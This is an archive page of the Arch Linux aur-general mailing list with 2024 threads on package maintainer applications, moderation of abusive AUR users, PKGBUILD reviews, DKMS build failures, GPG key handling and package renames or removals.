Hey everyone. I'm hereby applying as a package maintainer, which is kindly sponsored by David (dvzrv) and Jelle (jelly) and formally by Levente (anthraxx), for whom Jelle has taken over the sponsorship. ## Who I'm Giovanni, also known as anonfunc or idlegandalf. I've been using Arch Linux as my day-to-day driver since 2013 and Linux in general since probably 2008 (mostly server-side until 2011-12, last Windows I actually used was 7). As for notable contributions, you might have heard of ALHP, which I started in 2020. ALHP developed from the idea of utilising modern CPU extensions all the way back in Q4 2019 (after I had a quick Gentoo detour on one of my laptops). At the time, no x86_64 levels were defined, so the first rough outlines still considered building for specific gcc CPU-baselines, like Haswell for example (which seems crazy in hindsight). When the x86_64 levels were announced in 2020, I started developing a buildbot capable of doing the heavy lifting, at the time in Python. After ditching Python in 2021 (after I got annoyed of multi-process) and rewriting the buildbot in Go, the project launched in July 2021. At the time, ALHP only provided x86_64-v3, shortly after launch x86_64-v2 followed. In December 2023 the x86_64-v4 repo launched, after I got my hands on a machine capable of building v4. Not sure how many users it actually has, since I do not do any tracking, but as far as requests on the tier 0 mirror go (ALHP has 7 mirrors in total, one operated by myself), it seems to see some usage. The buildbot is completely FOSS, you can have a look down in the links section. Outside of my Arch Linux involvement I work as a DevOps engineer. I can also support Arch Linux there if needed. ## Goals & Packages I want to help with package maintenance and advance infrastructure topics with the overall goal of bringing x86_64-v3 and build automation to life, as well as helping with potential problems that may come with v3, since ALHP had plenty of those already. As for packages, I have a few that I think would benefit the general Arch Linux audience by being promoted to official packages, mostly QoL stuff: - batsignal - wljoywake - jellyfin-mpv-shim (+ deps) - prismlauncher - victoriametrics - asus-numpad - mmdbinspect I'm also open to co-maintainer roles if there are any packages in need. Candidates could include DevOps related packages like Grafana or packages from the Go ecosystem in general, since I use that language extensively. Besides the mentioned categories, I'm also interested to co-maintain: - home-assistant - jellyfin ## Links AUR packages: https://aur.archlinux.org/packages?SeB=m&K=anonfunc AUR source repo: https://somegit.dev/anonfunc/aur-packages ALHP: https://somegit.dev/ALHP/ALHP.GO ALHP Status: https://status.alhp.dev/ Feel free to criticise PKGBUILDs to your heart's content :) Improvement is a continuous thing, so keep them coming. Giovanni

6 10

User tallero comments
by james smith 02 Jun '24

02 Jun '24

A request for the pkgbuild to be updated[1] [2] quickly degenerated in insults [1]https://aur.archlinux.org/packages/duckstation#comment-960352 [2]https://aur.archlinux.org/packages/duckstation#comment-960355 Please take appropriate action

3 2

Package Maintainer application - Bert Peters
by Bert Peters 27 May '24

27 May '24

Hi all, My name is Bert Peters, or bertptrs on IRC and various other places, and I'm applying to become a package maintainer for Arch Linux. My application is sponsored by Christian Heusel (gromit) and Jakub Klinkovský (lahwaacz). I started using Linux in 2011 as I started my degree in Computer Science with OpenSuse as that happened to be installed on the computers in the lab, but soon moved to Ubuntu and, after a few false starts in 2014, moved to Arch at the tail end of 2015 by spending most of 33C3 getting things to work just the way I like it and never looked at anything else. Ever since, I've been using it as my daily driver, though I'm also using other distros professionally, currently mainly Ubuntu. Professionally I work as a DevOps engineer, mostly writing yaml, bash, and Python, occasionally wrangling Nix and Ubuntu, and doing packaging for the latter two. I've also previously done RPM packaging for CentOS when I managed my university's data science lab servers. Privately I'm a big fan of Rust, which I moderate the unofficial channels (##rust, ##rust-offtopic) for on Libera, and I dabble in Ruby because once upon a time I made the decision to write my website in Jekyll. On that website, I try to write the kind tech blog articles that I like to read, explaining a varying collection of things I happened to find interesting at the time. As for existing Arch involvement, I have long been maintaining packages in the AUR, and have been a tester for the last few years. All AUR packages I currently maintain (and that have needed an upgrade somewhere in the last three years) I keep in a Git repository [1] which I manage with aurpublish. I very recently discovered pkgctl how useful pkctl can be, so I started implementing nvchecker recently to automate the maintenance further. My github profile is also a decent record I have of OSS work I did. In the time I spend away from keyboard, I do bouldering a lot and I have been teaching windsurfing for the past 15 years. If I were to be voted in as a Package Maintainer, I'd like to move the following packages to \[extra\]: - cargo-cache - jekyll (and deps) - python-plotly In addition, I looked over what current orphans I have installed and I feel confident I know enough about the following to adopt them, though I'm open to more suggestions. - java-commons-lang - libvdpau - lsb-release I'd also like to help out as a co-maintainer on packages I previously maintained in the AUR that have since been adopted into [extra]: - cargo-geiger - cargo-license - nix - nlohmann-json - spotifyd - rust (previously maintained rust-src which was merged into it) - various ruby packages and while I'm at it, I'd like to help out with the Ruby packaging in general, to bring it up to date with Ruby 3.2 and figure out a consistent way to handle Ruby's propensity for very tight version bounds. With that, I hope to have given you a good introduction of myself and my work, where I intend to start packaging, and that there's a good starting point for discussion. Thanks for reading! Bert. P.s. To get ahead of one question, no, the ptrs in my nickname are unrelated to pointers; I got this nickname before I knew what those were. It's just my name with vowels removed. [1]: https://github.com/bertptrs/aur

6 7

My pkgbuilds
by matt quintanilla 26 May '24

26 May '24

before sending my packages(2 is the git version)[1][2] to the aur is there anything wrong/needs to be fixed? [1]https://mystb.in/022f92bd534784600a [2]https://mystb.in/5f8321d4575ef003fd My working hours may not be your working hours. Please do not feel obligated to reply outside of your normal work schedule Matt Quintanilla he/him https://www.mattquintanilla.xyz/

1 0

User TalionRanger comments
by Fabio Loli 25 May '24

25 May '24

A request for help quickly degenerated in several insults https://aur.archlinux.org/packages/octopi#comment-974574 https://aur.archlinux.org/packages/octopi#comment-974594 Please take appropriate action

2 1

Lost my AUR password and e-mail
by LDA 18 May '24

18 May '24

Hi, I used to have an AUR account(lda), whose password was stored on a single laptop, which broke. This wouldn't be a problem if it weren't for the fact that the primary e-mail I used at the time(freetards.xyz) now no longer works(due to a lack of rDNS). I still however own the domain attached to it, and as such, *can* prove I own said account. So I want to ask if I could recover my password that way(since the reset page pointed there.) Thanks, LDA idiot

1 0

Kernel / utils-linux update breaks nvidia 390.xx driver dkms build - Any ideas what changed?
by David C. Rankin 09 May '24

09 May '24

AUR folks, This is a general question that may catch others off guard. Having patch for the 6.8 changes when the kernel was release and having no issues through 6.8.9-Arch1, I was very surprised to see build failures in the nvidia-utils 390.xx package after the today's update. For both Linux and Linux-LTS: ( 8/13) Install DKMS modules ==> dkms install --no-depmod nvidia/390.157 -k 6.6.30-2-lts Error! Bad return status for module build on kernel: 6.6.30-2-lts (x86_64) Consult /var/lib/dkms/nvidia/390.157/build/make.log for more information. ==> WARNING: `dkms install --no-depmod nvidia/390.157 -k 6.6.30-2-lts' exited 10 ==> dkms install --no-depmod vboxhost/6.1.50_non_OSE -k 6.6.30-2-lts ==> dkms install --no-depmod nvidia/390.157 -k 6.8.9-arch1-2 Error! Bad return status for module build on kernel: 6.8.9-arch1-2 (x86_64) Consult /var/lib/dkms/nvidia/390.157/build/make.log for more information. ==> WARNING: `dkms install --no-depmod nvidia/390.157 -k 6.8.9-arch1-2' exited 10 ==> dkms install --no-depmod vboxhost/6.1.50_non_OSE -k 6.8.9-arch1-2 ==> depmod 6.6.30-2-lts ==> depmod 6.8.9-arch1-2 The actual errors seem like regressions somewhere as similar bugs were fixed in the past 3-4 years for both Nvidia and Vbox. The errors are: In file included from /var/lib/dkms/nvidia/390.157/build/common/inc/conftest.h:5, from /var/lib/dkms/nvidia/390.157/build/common/inc/nv_stdarg.h:29, from /var/lib/dkms/nvidia/390.157/build/common/inc/os-interface.h:27, from /var/lib/dkms/nvidia/390.157/build/nvidia/nv-frontend.c:12: /var/lib/dkms/nvidia/390.157/build/conftest/functions.h:76:2: error: #error wait_on_bit_lock() conftest failed! 76 | #error wait_on_bit_lock() conftest failed! ... /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h: In function ‘nv_ioremap_nocache’: /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h:568:17: error: implicit declaration of function ‘ioremap_nocache’; did you mean ‘ioremap_cache’? [-Wimplicit-function-declaration] 568 | void *ptr = ioremap_nocache(phys, size); | ^~~~~~~~~~~~~~~ /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h:568:17: error: initialization of ‘void *’ from ‘int’ makes pointer from integer without a cast [-Wint-conversion] /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h: In function ‘nv_ioremap_nocache’: /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h:568:17: error: implicit declaration of function ‘ioremap_nocache’; did you mean ‘ioremap_cache’? [-Wimplicit-function-declaration] 568 | void *ptr = ioremap_nocache(phys, size); | ^~~~~~~~~~~~~~~ | ioremap_cache /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h: In function ‘nv_is_dma_direct’: /var/lib/dkms/nvidia/390.157/build/common/inc/nv-linux.h:1297:9: error: implicit declaration of function ‘dma_is_direct’; did you mean ‘d_is_dir’? [-Wimplicit-function-declaration] 1297 | if (dma_is_direct(get_dma_ops(dev))) | ^~~~~~~~~~~~~ | d_is_dir All of these seem similar to earlier errors from the Linux 5.6 days. Anybody have a guess in what changed in either the new gcc or new util-linux or others that has cause all this fun? -- David C. Rankin, J.D.,P.E.

2 2

Removal of NicoHood as Package Maintainer due to inactivity
by gromit 05 May '24

05 May '24

Hi all, I'd like to start a "Special Removal of an Inactive Package Maintainer"[0] for NicoHood based on prolonged inactivity. NicoHood has not executed any packaging or AUR maintenance duties since 6 Months now, but the mentioned activity is IMO rather an outlier. When I contacted all people who were inactive in votings for a longer period of time[1] (August '23) we heard back[2] from Nico stating that he would still like to help out with Arch but does not have time/capacity due to personal circumstance right now. Since back then then not much seems to have changed: - His last voting[3] was vote nr. 140 (ended 2022-09-11), since then 11 other votings were done. - His packaging activity was limited to 3 days in the last year[4] - He did not do any AUR Moderation for that timeframe (to my knowledge) Therefore I'm requesting him to be removed as a Package Maintainer. This is not done because I want to cause any harm but rather since I think it reflects the status quo. If at some later point he has the time / resources to help out again I'm very much in favour of welcoming him back. The discussion period will last for three days, after which there will be a voting period of five days. Cheers, chris [0]: https://package-maintainer-bylaws.aur.archlinux.org/#_special_removal_of_an… [1]: https://lists.archlinux.org/archives/list/arch-tu@lists.archlinux.org/threa… [2]: https://lists.archlinux.org/archives/list/arch-tu@lists.archlinux.org/messa… [3]: https://aur.archlinux.org/package-maintainer [4]: https://gitlab.archlinux.org/nicohood

1 2

Re: About the intentionally duplicated package wechat-beta-bwrap and wechat-universal and unmaintained orginal package wechat-uos
by Kimiblock Moe 01 May '24

01 May '24

Hi Aᴀʀᴏɴ, The duplicated package has 55 votes, while the original version wechat-uos-qt has 19. I’m not losing patience though, just a little curious about why this thread appeared inactive. I guess PMs have been flooded with requests recently… -- Sincerely, Kimiblock

4 4

About user Manjusaka
by Fabio Loli 27 Apr '24

27 Apr '24

Hi, Manjusaka continue to re-upload his personal pkgbuild which have been deleted 3 times already, they have been informed to not do this yes persist https://aur.archlinux.org/pkgbase/linux-xanmod-manjusaka https://lists.archlinux.org/archives/search?count=25&mlist=aur-requests%40l…

2 1

Aarch64 package moderation policy
by Sam Day 15 Apr '24

15 Apr '24

Hello! I recently learned that the AUR seems to have an actively enforced moderation policy preventing packages that either only work on aarch64, or are otherwise heavily focused/only useful on that platform. RFC0032 hasn't finalized yet, and of course it could still end up being rejected or otherwise put on indefinite hiatus... My outsider perspective is that it likely will happen though, so I'm working under that assumption. In this case, it's only a matter of time before non-x86 communities are accumulating around Arch upstream proper. RFC0032 already notes that: - Ideally, the AUR web interface / API is extended to allow filtering packages by architecture. I have a concrete proposal here. Let's say I (or someone else) were to contribute the necessary changes to aurweb, such that it exposed architecture info in the RPC (archlinux/aurweb#485), as well as adding support for filtering by architecture when searching. If this happened, and the search box on the AUR homepage defaulted to x86, would it be possible to relax the current moderation policy that restricts aarch64-only packages from living in the AUR? -Sam

5 7

Package Maintainer Application - Carl Smedstad
by Carl Smedstad 25 Mar '24

25 Mar '24

Hi everyone, My name is Carl, or carsme on AUR/IRC, and this is my application to become a Package Maintainer. I started my Linux journey in 2016, while studying engineering mathematics at Chalmers University here in Gothenburg, Sweden. At the time, I was struggling with motivation and direction in my studies, but things took a positive turn when my friend group introduced me to Linux. I started out on Ubuntu but quickly transitioned to Arch Linux as there was a strong "btw, I use arch" atmosphere in our group :) With this new discovery, technology suddenly started making sense and became understandable. I had tinkered with computers since I was a child, but this was the first time I felt that anything was doable, given some time and dedication. As such, tinkering with my system became my new favorite pastime. Shortly after this formative moment, I got a part-time job as a developer, which eventually became full-time and made me drop out of university. This put me on a path which I'm very happy to be on, and which led me to today, where I'm leading a team developing route optimization solutions for commercial aviation. I still tinker a lot, but now with a broader scope that includes the processes, technologies and tools me and my team use in our daily work. Arch Linux has been my daily driver for around eight years now, and I have since 2021 tried to get more involved in the project, mainly by maintaining packages in the AUR. This has been a learning experience and I've tried to continuously improve my process and my packages. Examples include: fixing namcap warnings, migrating to standards based Python packaging (PEP 517), migrating to SPDX license identifiers, and most recently, using nvchecker to check for new versions. Outside of tech, I really enjoy traveling and try to do so as often as possible. Specifically, hiking through new landscapes and sampling local cuisine. Most recent trips were to the Bavarian Alps and to Sardinia in Italy, both of which were fantastic experiences (with great food!). For reference, PKGBUILDs for all packages I maintain in the AUR are available here: https://github.com/carlsmedstad/aurpkgs I've also published some helper scripts I use: https://github.com/carlsmedstad/aurutils-extra For my other OSS-contributions, primarily bug reports and minor patches, my GitHub profile is most likely the best place to get an overview. As package maintainer, I intend to initially bring the following packages (+deps) into [extra], provided no one has any objections: * espanso * opentofu * powershell * protonmail-bridge * rdiff-backup * watchman Regarding (co-)maintenance of what's already in [extra], I'd like to adopt some of the currently orphaned Python and Ruby packages, for example: * python-joblib * python-oscrypto * ruby-treetop Additionally, I did a quick search for packages with only one maintainer among those I regularly use, and ended up with the following candidates for potential co-maintainership: * aerc * handlr * istio * python-black * sqlfluff Hopefully that gives a good picture of who I am and where I'd like to start my journey as a package maintainer, if accepted. My sponsors are Levente Polyak (anthraxx) and Christian Heusel (gromit) and I'm very thankful for their feedback and encouragement so far. Thank you for taking the time to read this, cheers! -- Sincerely, Carl Smedstad PGP: 888285CF6ED6758F

6 10

Re: Spring cleanup '24
by gromit 20 Mar '24

20 Mar '24

On 24/03/11 09:09PM, gromit wrote: > On 24/03/02 12:48PM, gromit wrote: > > I will start dropping packages on 2024-03-17, so please try to have a > > look at the lists in the next few days. > > Reminder: There is one week left until unneeded orphan packages will be > dropped to the AUR. Please have a look at the list again to see if other > people orphaned stuff that may be intersting for you. Hello everyone, I have dropped the unneded orphans as announced earlier. For any interested package maintainers on the AUR (hence the cc to the aur-general list): The packages are now available in the AUR and ready to be adopted, some already have found maintainers :) See the full list below. Cheers, gromit -- ams-lv2 archey3 autocutsel beatslash-lv2 blockdiag cadence deheader deteriorate-lv2 dmg2img eid-mw entityx faudio fluid foxdot fst gambit-c ganv gdlmm gnome-icon-theme-extras gnome-shell-extension-gtile gnubg gnucobol gnupg-pkcs11-scd gob2 gpa gqrx gv hashdeep helm-synth howl htmlhint ibus-m17n ibus-pinyin icecast ir.lv2 junit-system-rules latex2rtf libident liri-calculator liri-cmake-shared liri-files liri-terminal liri-text livewallpaper lockdev lvtk marsyas mdns-scan meterbridge midimsg-lv2 neovim-lsp_signature neovim-nvim-treesitter ninjas2 non-daw non-sequencer notify-sharp-3 osmid pan patchage pc-ble-driver perl-date-simple polyclipping python-apptools python-autodocsumm python-behave python-cx-freeze python-etesync python-git-url-parse python-ipy python-jinja-time python-kaptan python-langdetect python-matrix-nio python-nrfutil python-pc-ble-driver-py python-pdm-pep517 python-piccata python-poyo python-publicsuffix python-pyspinel python-pythonfinder python-schedutils python-tree-format python-webtest-aiohttp python-whichcraft python-yapsy qt5-gsettings razercfg ruby-treetop seqdiag slimit solfege sonic-pi sparkleshare tap-plugins tpacpi-bat ttf-proggy-clean vim-align vim-coverage-highlight vim-editorconfig vim-pastie vocal wake webkit2-sharp weechat-matrix zsh-theme-powerlevel10k

1 0

attack on octopi and derived chain
by Mat Moul 19 Mar '24

19 Mar '24

Hi, It seem I am attacked by xiota on my AUR octopi packages. We had an exchange for over 3 hours before it ended abruptly. I think I am within my rights and ask you to look at the situation. Comment on https://aur.archlinux.org/packages/octopi This xiota attacks all my octopi packages. What can I do ? Greetings MatMoul

2 1

Re: (suspension of Pellegrino Prevete) - was: removal of yuzu from the official repos
by Muflone 18 Mar '24

18 Mar '24

Il 17/03/24 19:10, Pellegrino Prevete ha scritto: >> Sending again as Gmail SPF policy denied my previous message >> >> > -------- Forwarded Message -------- >> >> tallero [1] added the following comment to libisl25-static [2]: >> >> >> >> If Marcello Meszaros were a good maintainer >> >> he wouldn't need me to tell him each time for what packages >> >> my static depends are written for and he would go >> >> check himself. >> >> >> >> Actually he's capable of going check and lie, as with Banshee. >> >> >> >> As usual, I urge people to either make him stop making me lose so much >> >> time after his useless deletion requests. >> >> >> >> Many packages can't currently bu upgraded becausu Muflone disabled >> >> my mobile account. >> >> >> >> The attacks I've received from these two individuals are shameful >> >> to say the least and I'm starting to think they should >> >> be asked to go away. >> >> >> >> [1]https://aur.archlinux.org/account/tallero/ >> >> [2]https://aur.archlinux.org/pkgbase/libisl25-static/ >> >> @tallero / @trucolo / Pellegrino Prevete your first account was >> suspended for disrespecting the AUR rules and decisions. >> >> Before suspending your trucolo account I asked you to read the Arch >> Linux code of conduct but unfortunately it seems you have not any >> intention to respect any rules. >> >> Therefore I'm going to delete this your latest comment and give you >> the final warning before banning you definitively from the AUR, in >> all of your accounts. >> >> Regards > > I can't see how suspending my mobile account can help me maintain my > packages and do my work and not being detrimental to everybody. > I see actions being taken irresponsably by people on high scranes. > I consider this whole behaviour completely unacceptable: "if you want > to refer to what i could have meant, please go check pag.4369 of third > edition of the Zibaldone." > Your packages maintenance is not a concern. Your first account was suspended because you direspect the rules and you still continue to disrespect the code of conduct [1] I linked you before by writing ad-personam messages attacking MarsSeed and writing others offensive comments and git commit messages. Unfortunately the suspension has not stopped you in acting in a bad way and therefore I gave you a last warning. If you'll continue to write offensive messages in AUR your accounts will be permanently banned. It's up to you to change this behavior or to stop it immediately as it's not tolerated [1] https://terms.archlinux.org/docs/code-of-conduct/ -- Muflone

9 22

Question about aur package existing in git, but not visible in aur
by Julien Virey 16 Mar '24

16 Mar '24

Hi, The package toggl-cli is not visible in https://aur.archlinux.org/packages?O=0&K=toggl-cli. But it still exists in ssh://aur.archlinux.org/toggl-cli.git The package has not been updated since 2016. commit dd7340e8804776df85fe1eb82a79384e7f1349fb (HEAD -> master, origin/master, origin/HEAD) Date: Mon Feb 22 06:00:17 2016 -0300 I was about to release a new package for this pkgbase ( https://github.com/watercooler-labs/toggl-cli) Can I request a deletion / reset of ssh://aur.archlinux.org/toggl-cli.git to use this pkgbase ? Salutations, Julien

3 3

How do I get an unpopular package that's needed by an existing package to extra?
by Lime In a Jacket (Aaron Liu) 13 Mar '24

13 Mar '24

Ey, A while ago I made the AUR package perl-acme-cow, which is needed for some cowfiles bundled with cowsay. Is there a process for dependencies to enter extra? I understand that it's not popular and doesn't meet the requirement, but without it, attempting to use certain bundled cowfiles results in an error. Cheers, Aᴀʀᴏɴ

2 1

Migration of p7-tools to cahute
by Eldeberen 11 Mar '24

11 Mar '24

Hi everyone, I currently maintain some packages on the AUR, related to Casio calculators. In particular we'll focus on p7/libp7/p7screen which are dedicated to communication protocols. https://aur.archlinux.org/packages/p7 https://aur.archlinux.org/packages/libp7 https://aur.archlinux.org/packages/p7screen Recently the developer (Cakeisalie5) rewrote these utilities and replaced them by a single package, Cahute. https://cahuteproject.org/ I made a new package for this, which is not yet on the AUR but can be found on my personnal forge: https://git.middleearth.fr/Packages/cahute So I have some questions for you ^^ - How do I manage the decommissioning of the old tools? - I understand I'm not allowed to use the 'replaces' directive on the PKGBUILD as it is not an official package, I am right? - Should I add some warnings on existing p7/libp7/p7screen packages warning that they are no more maintained? - On the cahute package, does the .install looks good? - More generally I'll take any advise that help me to comply with the AUR guidelines :) Thanks for your help, Eldeberen

3 2

removal of yuzu from the official repos
by james smith 05 Mar '24

05 Mar '24

as most of you have heard the yuzu has been shutdown by nintendo[1] and the github page removed[2] therefore the package needs to be considered for removal from the official repos as there will be no more updates and the package links to the github will be broken in a matter of time [1] https://storage.courtlistener.com/recap/gov.uscourts.rid.56980/gov.uscourts… [2]https://github.com/yuzu-emu/yuzu

6 7

Re: Upgrade failure
by Abraham S.A.H. 04 Mar '24

04 Mar '24

> Odd, I've been accessing it in China over a VPN for many years. Do you have issues with any other website, and what happens when you replace "www" with "old"? The "old" one opens perfectly. I completely forgot that version of Reddit. But not with "www". No I do not have this problem with other websites. -- Best Regards, Abraham Sent with Tutanota; https://tuta.com

2 1

AUR Orphan Purge
by arch＠serebit.com 01 Mar '24

01 Mar '24

Hello all, Over the past few days, about 3,000 packages were removed from the Arch User Repository as part of a larger cleanup effort. These packages all fit the following criteria: - No maintainer - Popularity equal to 0.00000 - 3 or fewer total votes - Most recent update before 2019-01-01 If a package that you actively use has been removed, and you are willing to maintain it, feel free to resubmit the package. The Git repositories of all deleted packages are still accessible[1]. Any future large-scale cleanup efforts will be preceded by an announcement on the mailing lists to avoid blindsiding users and maintainers. Best, Campbell Jones [1] https://wiki.archlinux.org/title/Arch_User_Repository#Acquire_build_files

2 1

Re: powertabeditor - request for PKGBUILD review
by Jonas Serych 21 Feb '24

21 Feb '24

Hi, thanks for your comments. Lone_Wolf wrote: > timidity++ and fluidsynth are the 2 most common software midi > synthesizers on archlinux. > I suggest you list them as optdepends . Thanks, I did that (and also checked that it works with both of these). Polarian wrote: > Appreciate it if you paste the PKGBUILD into the email body, and not > attach it. Would also make it easier to quote. Here is the updated PKGBUILD: --8<---------------cut here---------------start------------->8--- # Maintainer: Jonas Serych <jonas(a)sery.ch> pkgname='powertabeditor' pkgver='2.0.0_alpha19' pkgrel=1 pkgdesc="Guitar tablature viewer and editor" arch=('x86_64') url="https://powertab.github.io/" license=('GPL-3.0-only') depends=('boost-libs' 'boost' 'doctest' 'minizip' 'pugixml' 'rtmidi' 'alsa-lib' 'nlohmann-json' 'qt5-base' 'qt5-tools') optdepends=('timidity++: MIDI playback support' 'fluidsynth: MIDI playback support') makedepends=('cmake') source=("https://github.com/powertab/${pkgname}/archive/refs/tags/${pkgver//_/-}.tar…") sha256sums=('318e14370bd60670dadfe70d2f124d817d51017ec13011f577080633d83f41d4') build() { cmake -B build -S "${pkgname}-${pkgver//_/-}" \ -DCMAKE_BUILD_TYPE='None' \ -DCMAKE_INSTALL_PREFIX=/usr cmake --build build } check() { ctest --test-dir build --output-on-failure } package() { DESTDIR="$pkgdir" cmake --install build } --8<---------------cut here---------------end--------------->8--- Any other things to improve? Or can I put it to AUR? Best, Jonas Serych

1 0

Moving from binary to from source, can we delete bin version
by Mek Yt 20 Feb '24

20 Feb '24

Hi, I first created AUR packages from binary file (`dagu-bin`, `oathkeeper-bin` and `kratos-bin`) but it is best to build them from source. I recreated them from source, I would like to know if it is possible to delete the binary version. I would like to maintain only the one from source. I could disown and wait for them to disappear but it looks cleaner to directly delete them and direct potential users to the correct/maintain one. Thanks, Mek Yt AUR to delete: https://aur.archlinux.org/packages/dagu-bin https://aur.archlinux.org/packages/oathkeeper-bin https://aur.archlinux.org/packages/kratos-bin PS: - `oathkeeper-bin` and `kratos-bin` use `ory-` namespace now (`ory-kratos` and `ory-oathkeeper`) - `oathkeeper-bin` and `kratos-bin` where duplicate (with service files) of orphan `ory-oathkeeper-bin` and `ory-kratos-bin`

4 3

Is including GPG keys in an AUR package for verifying sources a good idea?
by Wilhelm Schuster 20 Feb '24

20 Feb '24

Hi, I maintain the AUR package for wget2 [0] (which has `validgpgkeys()` populated) and have recently been contacted by a user that has trouble with GPG signature verification when building the package in a Docker container (using aurutils apparently). Their first suggestion was for me to drop the validpgpkeys section to make it easier for them to build the package. This is not something I'm willing to implement as that means downgrading security for other users of the package. makepkg provides an escape hatch for users who don't care about signature verification via the `--skippgpcheck` flag. Their second suggestion was for me to add the GPG public keys directly to AUR package. My first thought was that this is also not a good idea, but I'm not sure I can come up with convincing arguments. My reason against it is, that the PGP key allows for a user of my PKGBUILD to verify that I only include sources which have been signed by the maintainer of the software. As packager, I can control the source and hashes for a package, so if I want to use a malicious source, I can just update the hash to match, but I can't easily change the upstream signing key. However, if the users relies on the key included with the package, then I could use my own malicious key, so the user should compare the key with upstream sources anyway. On the other hand retrieving keys from the keyservers can be a crapshoot. I certainly have been bitten by that brittle infrastructure in the past, and having a copy of the key can alleviate that. That seems also the reason, why Arch proper has started including copies of GPG keys with their packages (see for example glibc [1]). This has been codified in RFC0011 [2] and is managed via the `export-pkgbuild-keys` script included in devtools. There doesn't seem to be any discussion of downsides of this approach in the RFC and accompanying Merge Request. Users, who wish to make sure that the used GPG keys are the ones published by upstream can always ignore the included key files and grab the keys directly from the keyservers. Do you think including GPG keys with AUR packages to make it easier for some users is a good idea? Or should they just use `--skippgpcheck`? Are there any glaring issues I'm missing here? Do you know of AUR packages that include the GPG keys for source verification similar to what Arch packages do? [0]: https://aur.archlinux.org/packages/wget2 [1]: https://gitlab.archlinux.org/archlinux/packaging/packages/glibc/-/tree/2.39… [2]: https://rfc.archlinux.page/0011-store-source-signing-keys/ Cheers, Wilhelm.

11 17

powertabeditor - request for PKGBUILD review
by Jonas Serych 19 Feb '24

19 Feb '24

Hi, this is my first time creating a PKGBUILD. I tried to follow the guidelines and the recommended practices for cmake packages, but not sure I didn't miss something. Thanks for any suggestions. I checked that it builds in clean chroot. The software seems to work well, except for JACK server not running error (for playback of midi). I am not sure if this should be somehow solved in the PKGBUILD, or if it should be left to the user. When I run qsynth alongside the powertabeditor the playback works just fine. Somehow setting up timidity++ daemon would work too, I guess. Best regards, Jonas Serych

3 3

Package maintainer for vinegar-git & vinegar is malicious.
by sewn 17 Feb '24

17 Feb '24

Hi. I am the primary developer of Vinegar (sewn(a)disroot.org, see commits and members of GitHub organization vinegarhq with repository vinegar). The AUR package maintainer for my software has defaced me [1], my software, and patched Vinegar maliciously [2]. I have not appreciated the direct insults at me. They have also added a .install hook file to direct installers of the package to another piece of software, which is biased and uncalled for. Additionally, i have asked the maintainer various times to remove the insult directed at me, and to update the package - to which they have not responded for days. They have then maliciously modified the description and changed the code of Vinegar to remove a feature which was announced in our communication channels. I would like to request an urgent removal of the package maintainer DodoGTA from maintaining the AUR packages for my software, they cannot be trusted and are malicious. [1]: https://aur.archlinux.org/cgit/aur.git/commit/?h=vinegar&id=2abcbe54f64c748… [2]: https://aur.archlinux.org/cgit/aur.git/commit/?h=vinegar&id=aa3b4dcad2a67e4…

2 2

tor-browser depublication and replacment
by Zehka 10 Feb '24

10 Feb '24

Hello everyone, Today i noticed by chance that the aur/tor-browser package is gone and replaced by extra/torbrowser-launcher That worries me a bit because as a user of an aur helper i did either not receive or see a notice about that so i stayed on version 12.5.3-1 that was the last one on aur without noticing it was getting outdated. I just wonder if that's common practice? This case is particularly unlucky in my eyes because tor browser has a special role in the security concepts of many people and because the new package is spelled torbrowser-launcher a search in both databases with "yay tor-browser" in september only showed me the aur result. So i just wanted to ask if there is any possibility to make that transition better because i assume i'm not the only user out there who didn't notice. And more thought that i had even though i didn't want to check in order to cause unnecessary chaos: Is the name tor-browser now blocked in aur or could anyone just upload a malicious package to that name and until somebody notices that everyone who has the old tor browser and uses an aur helper for updates gets a malicious version? Regards Zehka

6 5

My account suspended (MarsSeed) without reason - which PM abused their power?
by Marcell Meszaros 28 Jan '24

28 Jan '24

Dear PM's, Please kindly look into which PM chose to abuse their power to suspend my account without any reason. Please also kindly sanction such unacceptable behavior by said PM. Thank you very much. Yours, Marcell Mészáros (MarsSeed)

11 39

Postorius configuration help
by Georg 28 Jan '24

28 Jan '24

Hi list, I'm looking for a good description for postorius configuration. The Arch wiki is unclear to me, and the mailman documentation points to postorius.org configuration, who then points to another mailman doc providing little info on the actual configuration. Long story short, I'm failing to set up postorius so I can create users and let them log in. It would be highly appreciated if someone proficient in this topic is willing to walk me throuh. I'd then amend the wiki for more clarity. Thanks in advance Georg

1 1

Comment spam
by Mark Wagie 22 Jan '24

22 Jan '24

I've been going through my 400+ AUR packages updating the license to match SPDX license requirements. xiota has decided a pkgrel bump is required if one updates the license. He has begun spamming the same comment on 9 of my AUR packages so far. I've already told him to stop here: https://aur.archlinux.org/pkgbase/qtscrcpy#comment-952888. I imagine he's doing it on other packages as well if he's doing it for mine. This is not the first time someone has complained about xiota's behavior. I've had quite enough of it. His email is private, so I can't CC him here. Sent with [Proton Mail](https://proton.me/) secure email.

4 4

Re: xen moving to [extra]
by Sam Mulvey 22 Jan '24

22 Jan '24

On 1/21/24 22:19, Daurnimator wrote: > There's not really any ongoing discussions. > > For what it's worth, my personal motivation is to package qubes guest > packages into the Arch [extra] repo, of which qubes-libvchan will > depend on shared library from xen > (https://github.com/QubesOS/qubes-core-vchan-xen/blob/6427a74060dccf0baa34e3…) > > As an official package, it wouldn't have build options like your > current AUR package. So I think you'd have to maintain an AUR > xen-stubdom package separately. This package is currently more about being a hypervisor rather than being a guest of one, and includes bootable kernels and infrastructure for such. If this package is going to make it to official status with this functionality, the qemu package would have to be modified to support xen and likely a subpackage for it. The Xen codebase will build it's own copy of qemu unless told otherwise, and until a couple years ago that was what the PKGBUILD did. I eventually had to spin off qemu into it's own package to avoid having to build an increasingly aging version of qemu with it's increasing number of compiler errors. That package is here: https://aur.archlinux.org/packages/xen-qemu Without that functionality, it would be necessary to continue maintaining these packages in AUR. In which case I would make effort to work with what exists in the repos. Previous maintainers have attempted to rid themselves of the stubdom functionality, but as of now it's the only consistent way to allow GPU pass-through. I personally do not use this functionality, but I maintain it for those that do with an eye towards deprecating it as soon as newer PVH infrastructure is in place. That should be very soon. For completeness, there's also the xen-pvhgrub package which is a copy of GRUB that runs under PVH domUs, allowing us to boot using Arch's standard kernel packages in that context. > > Are you able to share why OCaml was disabled in your AUR package > recently? > (https://aur.archlinux.org/cgit/aur.git/commit/PKGBUILD?h=xen&id=e9890b16a54…) > Sure! The immediate cause 